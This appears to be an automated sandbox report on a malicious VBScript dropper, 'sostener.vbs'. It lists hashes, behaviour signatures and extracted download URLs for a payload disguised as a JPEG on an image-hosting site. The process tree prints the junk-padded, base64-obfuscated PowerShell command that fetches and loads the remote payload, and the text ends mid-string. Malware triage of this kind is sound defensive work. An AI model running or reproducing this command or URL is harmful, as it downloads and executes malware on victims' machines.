Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    07/12/2023, 14:41

General

  • Target

    sostener.vbs

  • Size

    156KB

  • MD5

    6b28299322157cbfd18c65db5e060c1f

  • SHA1

    91948228f5c1a24195d05e07c0708132a93e2792

  • SHA256

    091ed4cf3a6edce5f8c2c51e94d3b1e25a7ccc786a1f49eea463da386c03df5a

  • SHA512

    a9a5a3e9341de87463d9d6bfca1f7f507e6ee93ccc12b4cc2a4d3ddc862a4b3fcd2c6e125c2c154dea17a1be35ae90692b17bab9c3d1dab0f4af078739174dfc

  • SSDEEP

    3072:2hNhNhNhNhNhNhNQhGhNhNhNhNhNhNhNhehmhNhNhNhNhNhNhNhJhThNhNhNhNhW:2hNhNhNhNhNhNhNQhGhNhNhNhNhNhNhA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/682/796/original/dll.jpg?1701793965

exe.dropper

https://uploaddeimagens.com.br/images/004/682/796/original/dll.jpg?1701793965

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzbQBhCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzZQBVCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBoCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBwCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzOgCUUWJLhOstUÇDfzvCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzdQBwCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzbwBhCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzbQBhCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzZQBuCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzLgBjCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzcgCUUWJLhOstUÇDfzvCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzbQBhCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzZQBzCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzLwCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDgCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzvCUUWJLhOstUÇDfzDcCUUWJLhOstUÇDfzOQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzbwByCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzZwBpCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzYQBsCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBsCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzLgBqCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzZwCUUWJLhOstUÇDfz/CUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzNwCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzNwCUUWJLhOstUÇDfz5CUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzOQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQB3CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzYgBDCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzaQBlCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBOCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdwCUUWJLhOstUÇDfztCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzYgBqCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzYwB0CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzUwB5CUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzLgBOCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFcCUUWJLhOstUÇDfzZQBiCUUWJLhOstUÇDfzEMCUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBpCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzbgB0CUUWJLhOstUÇDfzDsCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzaQBtCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwBlCUUWJLhOstUÇDfzEICUUWJLhOstUÇDfzeQB0CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzcwCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQB3CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzYgBDCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzaQBlCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzEQCUUWJLhOstUÇDfzbwB3CUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBvCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBECUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzaQBtCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwBlCUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzcgBsCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBpCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYQBnCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBbCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzeQBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzZQBtCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzEUCUUWJLhOstUÇDfzbgBjCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBpCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZwBdCUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzOgBVCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzRgCUUWJLhOstUÇDfz4CUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzRwBlCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzUwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBuCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBpCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYQBnCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzQgB5CUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzZQBzCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzRgBsCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz8CUUWJLhOstUÇDfzDwCUUWJLhOstUÇDfzQgBBCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzXwBTCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzQQBSCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzPgCUUWJLhOstUÇDfz+CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDsCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzZQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzRgBsCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz8CUUWJLhOstUÇDfzDwCUUWJLhOstUÇDfzQgBBCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzXwBFCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzRCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz+CUUWJLhOstUÇDfzD4CUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZQB4CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzbQBhCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzZQBUCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzB0CUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZQB4CUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzZgCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBGCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzYQBnCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBlCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzaQBtCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwBlCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZQB4CUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzLgBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTwBmCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzZQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzRgBsCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZwCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzDsCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgB0CUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgBkCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzZwBlCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzYQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBlCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfztCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZQB4CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgB0CUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzLgBMCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzbgBnCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz7CUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzYQBzCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzNgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzZQBuCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzbgBkCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgBkCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZQB4CUUWJLhOstUÇDfzDsCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYgBhCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzQwBvCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzbQBhCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzD0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBpCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYQBnCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzdQBiCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzGkCUUWJLhOstUÇDfzbgBnCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgB0CUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgBkCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYgBhCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzZwB0CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz7CUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzbwBtCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzQgB5CUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzZQBzCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzUwB5CUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzLgBDCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbgB2CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzcgB0CUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzOgCUUWJLhOstUÇDfz6CUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzcgBvCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzQgBhCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfz2CUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzUwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBuCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBiCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcwBlCUUWJLhOstUÇDfzDYCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbQBtCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzbgBkCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQBsCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzYQBkCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzcwBlCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYgBsCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWwBTCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzZQBmCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzZQBjCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzaQBvCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzLgBBCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzcwBlCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYgBsCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfz6CUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBvCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzbwBtCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzYQBuCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzQgB5CUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzZQBzCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzOwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQB0CUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzcCUUWJLhOstUÇDfzBlCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzbwBhCUUWJLhOstUÇDfzGQCUUWJLhOstUÇDfzZQBkCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzcwBzCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzbQBiCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzeQCUUWJLhOstUÇDfzuCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzZQB0CUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzeQBwCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzYQBzCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBpCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzcgBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzeQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzQwBsCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcwBzCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz7CUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzZQB0CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzbwBkCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzeQBwCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgBHCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBoCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzdQBuCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdgBvCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdQBsCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇ